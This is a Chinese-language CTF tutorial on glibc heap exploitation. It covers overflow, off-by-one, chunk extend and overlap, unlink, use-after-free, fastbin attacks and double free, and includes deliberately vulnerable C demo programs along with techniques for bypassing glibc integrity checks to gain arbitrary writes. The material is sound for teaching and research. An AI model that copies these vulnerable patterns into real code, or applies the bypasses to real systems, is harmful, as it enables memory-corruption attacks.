堆溢出

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数 (注意:是写入的字节数超过了堆块本身可使用的字节数,而不是用户申请的字节数,因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),并覆盖到物理相邻的高地址的下一个堆块,轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程

一般来说,堆溢出漏洞需要两个前提:

  1. 程序向堆上写入数据
  2. 写入的数据大小没有被良好地控制

参考文章:

  1. 堆溢出 - CTF Wiki

与栈溢出不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此堆溢出通常无法像栈溢出一样直接控制 EIP

一般来说,我们利用堆溢出的策略是:

  1. 覆盖与其物理相邻的下一个 chunk 的内容

    • prev_size
    • size,主要有三个比特位,以及该堆块真正的大小
      • NON_MAIN_ARENA
      • IS_MAPPED
      • PREV_INUSE
      • the True chunk size
    • chunk content,从而改变程序固有的执行流
  2. 利用堆中的机制(如 unlink 等 )来实现任意地址写入或控制堆块中的内容等效果,从而来控制程序的执行流

堆溢出通常需要配合其他的方法来实现漏洞的利用,比较常用的方法有:Chunk Extend and Overlap 等


关键步骤

寻找堆分配函数

通常来说堆是通过调用 Glibc 函数 malloc 进行分配的,在某些情况下会使用 calloc 分配,realloc 同样也可以达到类似的效果

因此,常用的堆分配函数有:

  1. malloc
  2. calloc
  3. realloc

callocmalloc 的区别是 calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的

calloc(0x20);
// 等价于
ptr = malloc(0x20);
memset(ptr, 0, 0x20);

寻找危险函数

通过寻找危险函数,可以快速确定程序是否可能存在堆溢出漏洞

常见的危险函数如下

  • 输入

    • gets,直接读取一行,忽略 '\x00'
    • scanf
    • vscanf
  • 输出

    • sprintf
  • 字符串

    • strcpy,字符串复制,遇到 '\x00' 停止
    • strcat,字符串拼接,遇到 '\x00' 停止
    • bcopy

确定填充长度

这一部分主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离

主要有以下几点需要重点注意:

  • malloc 的参数并不等于实际分配堆块的大小

ptmalloc2 分配出来的大小是对齐的,这个长度一般是字长的 2 倍。比如 32 位系统是 8 字节,64 位系统是 16 字节

因此,对于不大于 2 倍字长的请求,malloc 会直接返回 2 倍字长的块(也就是最小 chunk,比如 64 位系统执行 malloc(0) 会返回用户区域为 16 字节的块

  • 用户区域的大小不等于 chunk_head.size
chunk_head.size = 用户区域大小 + 2 * 字长
  • 用户申请的内存大小会被修改,有可能会使用与其物理相邻的下一个 chunkprev_size 字段来储存内容

例如:

#include <stdio.h>

int main(void) 
{
  char *chunk;
  chunk = malloc(24);
  puts("Get input:");
  gets(chunk);
  return 0;
}

在上述代码中,申请的 chunk 大小是 24 字节

但是将其编译为 64 位可执行程序时,实际上分配的内存会是 16 字节而不是 24 字节

//根据系统的位数,malloc 会分配 8 或 16 字节的用户空间
0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000020fe1
0x602030:   0x0000000000000000  0x0000000000000000

16 字节的空间是如何装得下 24 个字节的内容呢?答案是借用了下一个块的 pre_size

用户申请的内存大小与 Glibc 中实际分配的内存大小之间的转换如下:

/* pad request bytes into a usable size -- internal version */
// MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

req = 24 时,request2size(24) = 32

除去 chunk 头部的 16 字节,实际上用户可用 chunk 为 16 字节,而 chunkpre_size 仅当它的前一块处于释放状态时才起作用,所以用户这时候其实还可以使用下一个 chunkprev_size 字段,正好 24 个字节

实际上 ptmalloc2 分配内存是以双字为基本单位

以 64 位系统为例,分配出来的空间是 16 的整数倍,即用户申请的 chunk 都是 16 字节对齐的


Off-By-One

off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数,并且只越界了一个字节,属于一种特殊的溢出漏洞

参考文章:堆中的 off-by-one - CTF Wiki

off-by-one 最终的效果是可以将一个释放状态的 small bin chunk 或是 unsorted bin chunk 一直到被溢出 chunk 合并成一个大的 chunk


产生原因

这种漏洞的产生往往与边界验证不严和字符串操作有关,例如:

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节

示例:

int my_gets(char *ptr,int size)
{
    int i;
    for(i = 0; i <= size; i++)
    {
        ptr[i] = getchar();
    }
    return i;
}

int main()
{
    void *chunk1, *chunk2;
    chunk1 = malloc(16);
    chunk2 = malloc(16);
    puts("Get Input:");
    my_gets(chunk1, 16);
    return 0;
}

由于 for 循环的边界没有控制好,导致写入多执行了一次

执行 my_gets() 之前的堆:

CTF - PWN_堆相关的漏洞与利用1.png

假设输入了 17 个字节:aaaaaaaaaaaaaaaaa,此时的堆:

CTF - PWN_堆相关的漏洞与利用2.png

可以看到数据发生了溢出,有一个 'a' 覆盖到了下一个堆块的 prev_size

  • 字符串操作不合适

示例:

int main(void)
{
    char buffer[40] = "";
    void *chunk1;
    chunk1 = malloc(24);
    puts("Get Input");
    gets(buffer);
    
    if(strlen(buffer) == 24)
    {
        strcpy(chunk1, buffer);
    }
    
    return 0;
}

如果不考虑栈溢出,似乎没什么问题,可能很多人在实际的代码中也是这样写的,但是 strlenstrcpy 的行为不一致却导致了 off-by-one 的发生

原因在于,strlen 在计算字符串长度时不包括结束符 '\x00',而 strcpy 在复制字符串时会拷贝结束符 '\x00',因此,最后其实向 chunk1 中写入了 25 个字节

执行 gets(buffer) 之前的堆:

CTF - PWN_堆相关的漏洞与利用3.png

执行 strcpy(chunk1, buffer) 之后:

CTF - PWN_堆相关的漏洞与利用4.png

可以看到 next chunksize 域低字节被结束符 '\x00' 覆盖(这种情况又属于 off-by-one 的一个分支:NULL byte off-by-one)

  • 当然,也不排除写入的 size 正好就只多了一个字节的情况

一般来说,单字节溢出被认为是难以利用的

但是因为 Linux 的堆管理机制 ptmalloc2 验证的松散性,基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大


利用思路

  1. 溢出字节为可控制任意字节

通过修改大小造成块结构之间出现重叠,从而泄露或者覆盖其他块数据

  1. 溢出字节为 NULL 字节

size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清除(记录前一个 chunk 块是否被分配),这样前一个块会被认为是 free 块

然后可以采用以下方法:

(1)使用 unlink 方法进行处理

(2)由于这时 prev_size 域会被启用,可以伪造 prev_size 造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与 prev_size 是否一致

注意:

在 Glibc 2.29 以后的版本代码中已经加入针对方法(2)的 check ,因此传统的方法(2)失效;但是在 Glibc 2.28 及之前版本并没有该 check,可以继续使用

Glibc 中对于此处的 check 如下:

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      /* 下面两行代码在新版本 Glibc 中加入,则方法(2)无法使用,但是 Glibc 2.28 及之前版本都没有问题
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating"); */
      unlink_chunk (av, p);
    }

Glibc 2.29 以后的版本中, check 处增加了两行代码:

if (__glibc_unlikely (chunksize(p) != prevsize))
  malloc_printerr ("corrupted size vs. prev_size while consolidating");

这让我们想要控制一个真实 chunksize 字段变得更加困难,所以传统的 NULL byte off-by-one 方法失效

但是,只需要满足被 unlink 的 chunk 和下一个 chunk 相连,仍然可以伪造 fake_chunk

伪造的方式就是使用 large bin 遗留的 fd_nextsizebk_nextsize 指针:

  • fd_nextsizefake_chunkfd
  • bk_nextsizefake_chunkbk

这样我们可以完全控制该 fake_chunksize 字段(这个过程会破坏原 large bin chunkfd 指针,但是没有关系),同时还可以通过部分覆写 fd_nextsize 控制其 fd,然后在后面使用其他的 chunk 辅助伪造,可以通过该 check

然后只需要通过 unlink 的检测就可以了,也就是:

(fd -> bk == p) && (bk -> fd == p)

如果 large bin 中仅有一个 chunk,那么该 chunkfd_nextsize 指针和 bk_nextsize 指针都会指向自己

  1. 我们可以控制 fd_nextsize 指向堆上的任意地址,可以容易地使之指向一个 fast bin + 0x10 - 0x18,而 fast bin 中的 fd 也会指向堆上的一个地址,通过部分覆写该指针也可以使该指针指向之前的 large bin + 0x10,这样就可以通过 fd -> bk == p 的检测

  2. 由于 bk_nextsize 我们无法修改,所以 bk -> fd 必然在原先的 large bin chunkfd 指针处(这个 fd 被我们破坏了),通过 fast bin 的链表特性可以做到修改这个指针且不影响其他的数据,再将其部分覆写就可以通过 bk -> fd == p 的检测

  3. 然后通过 off-by-one 向低地址合并,实现 chunk Overlap,之后可以泄露 libc 的基地址和堆地址,然后 tcache__free_hook 即可


相关例题

见本站 《【Asis CTF 2016】b00ks》、《【plaidctf 2015】PlaidDB


Chunk Extend and Overlap

chunk extend(堆扩展)是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk Overlap(堆重叠)的效果

参考文章:Chunk Extend and Overlapping - CTF Wiki

这种利用方法通常需要以下条件:

  • 程序中存在基于堆的漏洞
  • 漏洞可以控制 chunk header 中的数据

一般来说,Chunk Extend and Overlap 并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容:

  • 如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程

  • 此外,chunk extend 通过控制 sizepre_size 域可以实现 chunk Overlap,通过 Overlap 可以控制 chunkfd / bk 指针从而可以实现 fastbin attack 等利用


对 inuse 的 fast bin 进行 extend

当我们创建两个堆块 chunk1chunk2 时,通过修改 chunk1size 域,使其 size 的大小包含 chunk2,那么 freechunk1 的时候,chunk2 也会被 free

而当我们再次请求这两个堆块大小之和的堆块时,就会获得 chunk1 + chunk2 的空间,也就可以控制 chunk2 的内容

示例:(64 位程序)

int main(void)
{
    void *ptr, *ptr1;

    ptr = malloc(0x10);   // 分配第一个 0x10 的 chunk
    malloc(0x10);   // 分配第二个 0x10 的chunk

    *(long long *)((long long) ptr - 0x8) = 0x41;   // 修改第一个块的 size 域

    free(ptr);
    ptr1 = malloc(0x30);   // 实现 extend,控制了第二个块的内容
    return 0;
}

当我们 malloc 两个堆块后:

CTF - PWN_堆相关的漏洞与利用5.png

然后修改 chunk1size 域为 0x41(包括了 chunk2 的大小):

CTF - PWN_堆相关的漏洞与利用6.png

可以看到 freechunk1 后,chunk2 也被 free 掉了:

CTF - PWN_堆相关的漏洞与利用7.png

此时如果我们再通过 malloc(0x30) 分配堆块,就会得到 chunk1 + chunk2 的块,此时就可以直接控制 chunk2 中的内容

CTF - PWN_堆相关的漏洞与利用8.png

这种状态就称为 Overlap chunk


对 inuse 的 small bin 进行 extend

free 掉的 chunk size >= 144(0x90)字节时,会被置于 unsorted bin 中,这次以 malloc(0x80) 来举例

与前面的 fast bin 不同的是,这种情况下还需要再 malloc 一块空间用来防止 unsorted bintop chunk 合并

示例:(64 位程序)

int main()
{
    void *ptr, *ptr1;

    ptr = malloc(0x80);   // 分配第一个 0x80 的 chunk1
    malloc(0x10);   // 分配第二个 0x10 的 chunk2
    malloc(0x10);   // 防止与 top chunk 合并

    *(int *)((int) ptr - 0x8) = 0xb1;
    free(ptr);
    ptr1 = malloc(0xa0);
	return 0;
}

当我们 malloc 三个堆块后(chunk3 用来防止 chunk1 被篡改并 free 后与 top chunk 合并):

CTF - PWN_堆相关的漏洞与利用9.png

然后修改 chunk1size 域为 0xb1(包括了 chunk2 的大小):

CTF - PWN_堆相关的漏洞与利用10.png

可以看到 freechunk1 后,chunk2 也被 free 掉了:

CTF - PWN_堆相关的漏洞与利用11.png

此时 chunk1chunk2 被一起置入 unsorted bin

此时如果我们再通过 malloc(0xa0) 分配堆块,就会得到 chunk1 + chunk2 的块,此时就可以直接控制 chunk2 中的内容:

CTF - PWN_堆相关的漏洞与利用12.png


对 free 的 small bin 进行 extend

在,先释放 chunk1,然后再修改处于 unsorted bin 中的 chunk1size 域,会使得 chunk2 也被置于 unsorted bin

当我们再次请求这两个堆块大小之和的堆块时,就会获得 chunk1 + chunk2 的空间,也就可以控制 chunk2 的内容

示例:(64 位程序)

int main()
{
    void *ptr, *ptr1;

    ptr = malloc(0x80);   // 分配第一个 0x80 的 chunk1
    malloc(0x10);   // 分配第二个 0x10 的 chunk2

    free(ptr);   // 首先进行释放,使得 chunk1 进入 unsorted bin

    *(int *)((int) ptr - 0x8) = 0xb1;
    ptr1 = malloc(0xa0);
	return 0;
}

malloc 分配两个堆块后,直接 freechunk1 使其被置于 unsorted bin

CTF - PWN_堆相关的漏洞与利用13.png

此时修改 unsorted binsize 域为 0xb1(包括了 chunk2 的大小),发现 chunk2 也被置于 unsorted bin 中:

CTF - PWN_堆相关的漏洞与利用14.png

然后再 malloc(0xa0) 的大小就可以得到 chunk1 + chunk2 的堆块,从而控制了 chunk2 的内容:

CTF - PWN_堆相关的漏洞与利用15.png


通过 extend 后向 Overlap

示例:(64 位程序)

int main()
{
    void *ptr, *ptr1;

    ptr = malloc(0x10);   // 分配第 1 个 0x80 的 chunk1
    malloc(0x10);   // 分配第 2 个 0x10 的 chunk2
    malloc(0x10);   // 分配第 3 个 0x10 的 chunk3
    malloc(0x10);   // 分配第 4 个 0x10 的 chunk4    
    
    *(int *)((int) ptr - 0x8) = 0x61;
    free(ptr);
    ptr1 = malloc(0x50);
	return 0;
}

malloc 分配四个堆块后:

CTF - PWN_堆相关的漏洞与利用16.png

修改 chunk1size 域为 0x61(包括了 chunk2chunk3 的大小):

CTF - PWN_堆相关的漏洞与利用17.png

此时 freechunk1,则 chunk2chunk3 也一并被 free 进入 fast bin

CTF - PWN_堆相关的漏洞与利用18.png

malloc(0x50)extend 区域重新占位后,其中 0x10fastbin 块依然可以正常的分配和释放:

CTF - PWN_堆相关的漏洞与利用19.png

此时已经构成 Overlap,通过对 Overlap 的进行操作可以实现 fastbin attack


通过 extend 前向 Overlap

示例:(64 位程序)

int main()
{
    void *ptr1, *ptr2, *ptr3, *ptr4;
    ptr1 = malloc(128);   // smallbin1
    ptr2 = malloc(0x10);   // fastbin1
    ptr3 = malloc(0x10);   // fastbin2
    ptr4 = malloc(128);   // smallbin2
    malloc(0x10);   // 防止与 top 合并
    free(ptr1);
    *(int *)((long long) ptr4 - 0x8) = 0x90;   // 修改 pre_inuse 域
    *(int *)((long long) ptr4 - 0x10) = 0xd0;   // 修改 pre_size 域
    free(ptr4);   // unlink 进行前向 extend
    malloc(0x150);   // 占位块
    return 0;
}

malloc 分配五个堆块后:

CTF - PWN_堆相关的漏洞与利用20.png

此时 freechunk1 使其置入 unsorted bin

CTF - PWN_堆相关的漏洞与利用21.png

修改 chunk4size 域为 0x90(其中 pre_inuse 位为 0,代表前一个 chunk 空闲)

修改 pre_size 域为 0xd0(包括了 chunk2chunk3 的大小):

CTF - PWN_堆相关的漏洞与利用22.png

此时 freechunk4,会导致 chunk2chunk3 也一并被 free,同时与 freechunk1 后形成的 unsorted bin 合并:

CTF - PWN_堆相关的漏洞与利用23.png

CTF - PWN_堆相关的漏洞与利用24.png

malloc(0x150)extend 区域重新占位后,就可以得到 chunk1 + chunk2 + chunk3 + chunk4 的堆块

CTF - PWN_堆相关的漏洞与利用25.png

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 Overlap


Unlink

unlink() 是 Glibc 中的一个宏,其目的是将某一个空闲 chunk 从其所处的 bin 中脱链

  • malloc_consolidate() 函数中用于将 fast bin 中的空闲 chunk 整理到 unsorted bin
  • malloc() 函数中用于将 unsorted bin 中的空闲 chunk 整理到 small bin 或者 large bin,以及在 malloc() 中获得堆空间时,均有可能调用 unlink()

参考文章:

  1. Unlink - CTF Wiki
  2. 【pwn学习】堆溢出(三)- Unlink和UAF_pwn unlink-CSDN博客

在利用 unlink 所造成的漏洞时,其实就是对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果

unlink() 的大致流程如下:

  1. 首先根据 chunk Pfdbk 参数确定 chunk Pbin 中的前后 chunk 分别为 FDBK
  2. 然后让 chunk FDbk 参数指向 chunk BK
  3. 最后让 chunk BKfd 参数指向 chunk FD

CTF - PWN_堆相关的漏洞与利用26.png


这是比较古老的 unlink 利用方法,没有对 chunksize 检查和双向链表检查

Glibc 中没有防护的 unlink() 宏定义:

#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;   //获取显式链表中前一个块 FD					      
    BK = P->bk;   //获取显示链表中后一个块 BK              
    FD->bk = BK;  //设置FD的后一个块					      
    BK->fd = FD;  //设置BK的前一个块
}

假设堆内存最初的布局如图(32 位程序):

CTF - PWN_堆相关的漏洞与利用27.png

上图中有两个物理空间连续的 chunk,分别是 QNextchunk,并且 Q 处于使用状态,Nextchunk 处于释放状态

如果我们通过某种方式(比如:溢出)将 Nextchunkfdbk 指针修改为指定的值,则当我们 free(Q) 时,会发生如下步骤:

  1. Glibc 判断 chunk Qsmall chunk
  2. 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
  3. 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
  4. 继而对 Nextchunk 采取 unlink 操作

按照前面所提到的 unlink() 的大致流程,可以将该过程总结如下:

  1. FD = P -> fd = target addr - 12
  2. BK = P -> bk = expect value
  3. FD -> bk = BK,即:*(target addr - 12 + 12) = BK = expect value
  4. BK -> fd = FD,即:*(expect value + 8) = FD = target addr - 12

这样一来,我们可以通过 unlink 直接实现任意地址读写的目的,但是还是需要确保 expect value + 8 的地址处具有可写的权限

例如将 target addr 设置为某个 GOT 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值 expect value 处的代码

需要注意的是,expect value + 8 处的值被破坏了,需要想办法绕过


目前的 unlink 通常是存在检查的,此时就没有那么简单了

由于 unlink 的危险性,Glibc 添加了一些检测机制,存在防护的 unlink() 宏如下:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            &&__builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

其中,对 fdbk 的检查:

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

如果按照没有防护的 unlink 中提到的场景,当前:

FD -> bk = target addr - 12 + 12 = target addr
BK -> fd = expect value + 8

但在这种情况下,修改 GOT 表项的方法可能就不可用了

不过,我们可以通过伪造的方式绕过这个机制:

首先通过覆盖,将 NextchunkFD 指针指向 fakeFD,将 NextchunkBK 指针指向 fakeBK

为了通过验证,需要满足:

  • fakeFD -> bk == P,即:*(fakeFD + 12) == P
  • fakeBK -> fd == P,即:*(fakeBK + 8) == P

当满足上述两式时,可以进入 unlink 的环节,进行如下操作:

  • fakeFD -> bk = fakeBK,即:*(fakeFD + 12) = fakeBK
  • fakeBK -> fd = fakeFD,即:*(fakeBK + 8) = fakeFD

如果让 fakeFD + 12fakeBK + 8 指向同一个指向 P 的指针,那么:

  • *P = P - 8
  • *P = P - 12

通过这种方式,P 的指针指向了比自己低 12 的地址处

此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的

如果我们想要使得两者都指向 P,只需要按照如下方式修改即可:

CTF - PWN_堆相关的漏洞与利用28.png

由于 P 在 unlink 前是指向正确的 chunk 的指针,因此不受如下检测的影响:

// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
  malloc_printerr ("corrupted size vs. prev_size");               \

如果我们设置 Nextchunkfdbk 均为 Nextchunk 的地址也是可以绕过上面的检测的

但是这样不能达到修改指针内容的效果


利用思路

利用 unlink 漏洞的条件:

  1. 存在 UAF 漏洞,可修改 free 状态下 small bin 或是 unsorted binfdbk 指针
  2. 已知位置存在一个指针指向可进行 UAF 的 chunk

实现的效果:使得已指向存在 UAF 漏洞的 chunk 的指针 ptr 变为 ptr - 0x18

假设指向存在 UAF 漏洞的 chunk 的指针的地址为 ptr,则实现的主要步骤为:

  1. 修改 fdptr - 0x18
  2. 修改 bkptr - 0x10
  3. 触发 unlink,ptr 处的指针会变为 ptr - 0x18

Use After Free

Use After Free 简称 UAF,即:释放后使用漏洞,指一个内存块被释放之后再次被使用

对于内存块释放之后的操作,有以下几种情况:

  1. 内存块被释放后,其对应的指针被设置为 NULL,然后再次使用,自然程序会崩溃

  2. 内存块被释放后,其对应的指针没有被设置为 NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转

  3. 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存块进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

通常我们所说的 UAF 漏洞对应的就是 2 和 3

也就是说,UAF 漏洞利用的前提是:内存块被释放后,其对应的指针没有被设置为 NULL

示例:(64 位程序)

#include <stdio.h>
#include <stdlib.h>

typedef struct name {
  char *myname;
  void (*func)(char *str);
} NAME;

void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }

int main() {
  NAME *a;
  a = (NAME *)malloc(sizeof(struct name));
  a -> func = myprint;
  a -> myname = "I can also use it";
  a -> func("this is my function");
  
  free(a);
  
  // free without modify
  a -> func("I can also use it");
  
  // free with modify
  a -> func = printmyname;
  a -> func("this is my function");
  
  // set NULL
  a = NULL;
  printf("this pogram will crash...\n");
  a -> func("can not be printed...");
  return 0;
}

运行结果:

CTF - PWN_堆相关的漏洞与利用29.png

  • 即使 free 掉了 chunk a,我们依然可以通过 a -> func("I can also use it") 调用 myprint() 打印输出

  • 即使 free 掉了 chunk a,将 a -> func 修改为 printmyname(),也可以正常使用 printf("call print my name\n") 功能

  • 但是当 chunk a 被置为 NULL 后,a -> func("can not be printed...") 便无法使用

接下来,我们通过 GDB 调试分析一下整个过程

在执行 free(a) 之前,堆布局如下:

CTF - PWN_堆相关的漏洞与利用30.png

CTF - PWN_堆相关的漏洞与利用31.png

执行 free(a) 后,chunk a 被置于 fast bin

myname 指针被置为 NULL,但 func 指针未发生变化

CTF - PWN_堆相关的漏洞与利用32.png

此时通过 a -> func("I can also use it") 依然可以调用 myprint()

CTF - PWN_堆相关的漏洞与利用33.png

当我们将 func 指针修改为 printmyname() 后,通过 a -> func("this is my function") 也可以调用 printmyname()

CTF - PWN_堆相关的漏洞与利用34.png

CTF - PWN_堆相关的漏洞与利用35.png

当我们通过 a = NULL 将其置为 NULL 后,堆的布局并未发生变化

CTF - PWN_堆相关的漏洞与利用36.png

但当我们再次使用 a -> func("can not be printed...") 的时候

**程序会直接报出段错误,而不是继续调用 0x4005d1 地址处的 printmyname()**:

CTF - PWN_堆相关的漏洞与利用37.png

发生段错误的关键在于:

我们前面执行 a = NULL 的时候将 RBP - 8 地址处置为了 0,因此执行 mov rax, qword ptr [rbp - 8] 时 RAX = 0,此时执行 mov rax, qword ptr [rax + 8] 要求从内存地址为 8 的地方取值赋给 RAX,显然这个内存地址是错误的


Fast bin Attack

Fast bin Attack 是一类漏洞的利用方法,是指所有基于 fast bin 机制的漏洞利用方法

参考文章:Fastbin Attack - CTF Wiki

Fast bin Attack 利用的前提:

  • 存在堆溢出、UAF 等能控制 chunk 内容的漏洞
  • 漏洞发生于 fast bin 类型的 chunk

由于 fast bin 使用单链表来维护释放的堆块,并且fast bin 管理的 chunk 即使被释放,其 next_chunkprev_inuse 位也不会被清空

示例:

int main(void)
{
    void *chunk1, *chunk2, *chunk3;
    chunk1 = malloc(0x30);
    chunk2 = malloc(0x30);
    chunk3 = malloc(0x30);
    
    // 进行释放
    free(chunk1);
    free(chunk2);
    free(chunk3);
    return 0;
}

执行三次 free 进行释放后

此时位于 main_arena 中的 fastbin 链表中已经储存了指向 chunk3 的指针(最近释放),并且 chunk3chunk2chunk1 构成了一个单链表:

CTF - PWN_堆相关的漏洞与利用51.png


Double Free

Double free 指同一个指针指向的内存被 free 两次

堆上的某块内存被释放后,如果没有将指向该堆块的指针清零,就可以利用程序的其他部分对该内存进行再次的 free最终得到一个可用的空闲块指针,并且能够修改已经被释放的空闲块中的内容,从而利用这个漏洞实现任意地址写

参考文章:堆利用系列之堆漏洞-安全客 - 安全资讯平台

总的来说,double free 就是通过 2 次 free,2 次 malloc,再 1 次 free,最终得到可用的空闲块指针,并且可以修改空闲块中的内容

详细来说就是:

  1. 首先两次 free 同一块地址(两次 free 之间需要先 free 一次其他的 chunk 来绕过检测)
  2. 然后再连续两次 malloc 相同大小
  3. 然后再 free 掉其中一个
  4. 那么剩下那个指针指向的就是空闲块的 chunk,而且还是可以被修改的

示例:(64 位程序)

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
    char *ptr0, *ptr1, *ptr2;

    ptr0 = malloc(0x30);   // chunk1
    ptr1 = malloc(0x30);   // chunk2
    ptr2 = malloc(0x30);   // chunk3

    char *data0 = "00000000";
    char *data1 = "11111111";
    char *data2 = "22222222";

    memcpy(ptr0, data0, 0x8);
    memcpy(ptr1, data1, 0x8);   
    memcpy(ptr2, data2, 0x8);

    printf("Chunk1: ptr0 @ %p\t contains: %s\n", ptr0, ptr0);
    printf("Chunk2: ptr1 @ %p\t contains: %s\n", ptr1, ptr1);
    printf("Chunk3: ptr2 @ %p\t contains: %s\n\n", ptr2, ptr2);

    free(ptr0);
    free(ptr1);
    free(ptr0);   // double free

    char *ptr3, *ptr4, *ptr5;

    ptr3 = malloc(0x30);   // chunk4
    ptr4 = malloc(0x30);   // chunk5
    ptr5 = malloc(0x30);   // chunk6

    memcpy(ptr3, data0, 0x8);
    memcpy(ptr4, data1, 0x8);   
    memcpy(ptr5, data2, 0x8);

    printf("Chunk4: ptr3 @ %p\t contains: %s\n", ptr3, ptr3);
    printf("Chunk5: ptr4 @ %p\t contains: %s\n", ptr4, ptr4);
    printf("Chunk6: ptr5 @ %p\t contains: %s\n\n", ptr5, ptr5);

    free(ptr3);
    ptr3 = 0x0;

    printf("Chunk4: ptr3 @ %p\n", ptr3);
    printf("Chunk6: ptr5 @ %p\n\n", ptr5);

    char *data3 = "15935728";
    memcpy(ptr5, data3, 0x8);
    printf("Chunk5: @ %p\t contains: %s\n\n", ptr5, ptr5);
	return 0;
}

我们通过 GDB 调试观察一下整个执行流程

刚开始创建三个堆块 ptr0ptr1ptr2,并通过 data0data1data2 进行赋值:

CTF - PWN_堆相关的漏洞与利用38.png

此时输出信息:

Chunk1: ptr0 @ 0x602010	 contains: 00000000
Chunk2: ptr1 @ 0x602050	 contains: 11111111
Chunk3: ptr2 @ 0x602090	 contains: 22222222

首先 freeptr0ptr1,它们都被置于 fast bin 中:

CTF - PWN_堆相关的漏洞与利用39.png

ptr1fd 指针指向下一个空闲的 chunk,即:ptr0 的地址

CTF - PWN_堆相关的漏洞与利用42.png

注意:

在对 ptr0 的 double free 之间,我们穿插了一个 free(ptr1) 的操作,这么做不是毫无根据的,而是为了绕过检测

因为在不同版本的 malloc 中,可能存在对 double free 的检测:如果当前被释放的指针与最后一个释放的内存块相同,程序将停止执行

fast bin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块,对于链表后面的块,并没有进行验证

因此,绕过这个检测的方法就是:在两次释放同一个指针之间释放另一个指针(但是在 Glibc 2.27 中,它将命中 tcache,就不存在这个问题)

为了实现 double free,我们再次 freeptr0

CTF - PWN_堆相关的漏洞与利用40.png

此时 ptr1fd 指针指向 ptr0 的地址,同时 ptr0fd 指针也指向 ptr1 的地址

CTF - PWN_堆相关的漏洞与利用41.png

接下来,我们将分配三个新内存块,大小与我们释放的内存块相同

执行完 ptr3 = malloc(0x30)

CTF - PWN_堆相关的漏洞与利用43.png

执行完 ptr4 = malloc(0x30)

CTF - PWN_堆相关的漏洞与利用44.png

执行完 ptr5 = malloc(0x30)

CTF - PWN_堆相关的漏洞与利用45.png

向它们写入 data0data1data2 的数据,这将使我们得到之前释放的三个内存块

执行完 memcpy(ptr3, data0, 0x8)

CTF - PWN_堆相关的漏洞与利用46.png

执行完 memcpy(ptr4, data1, 0x8)

CTF - PWN_堆相关的漏洞与利用47.png

执行完 memcpy(ptr5, data2, 0x8)

CTF - PWN_堆相关的漏洞与利用48.png

可以看到,向 ptr5 中写入的数据实际写入到了 chunk4

此时输出信息:

Chunk4: ptr3 @ 0x602010	 contains: 22222222
Chunk5: ptr4 @ 0x602050	 contains: 11111111
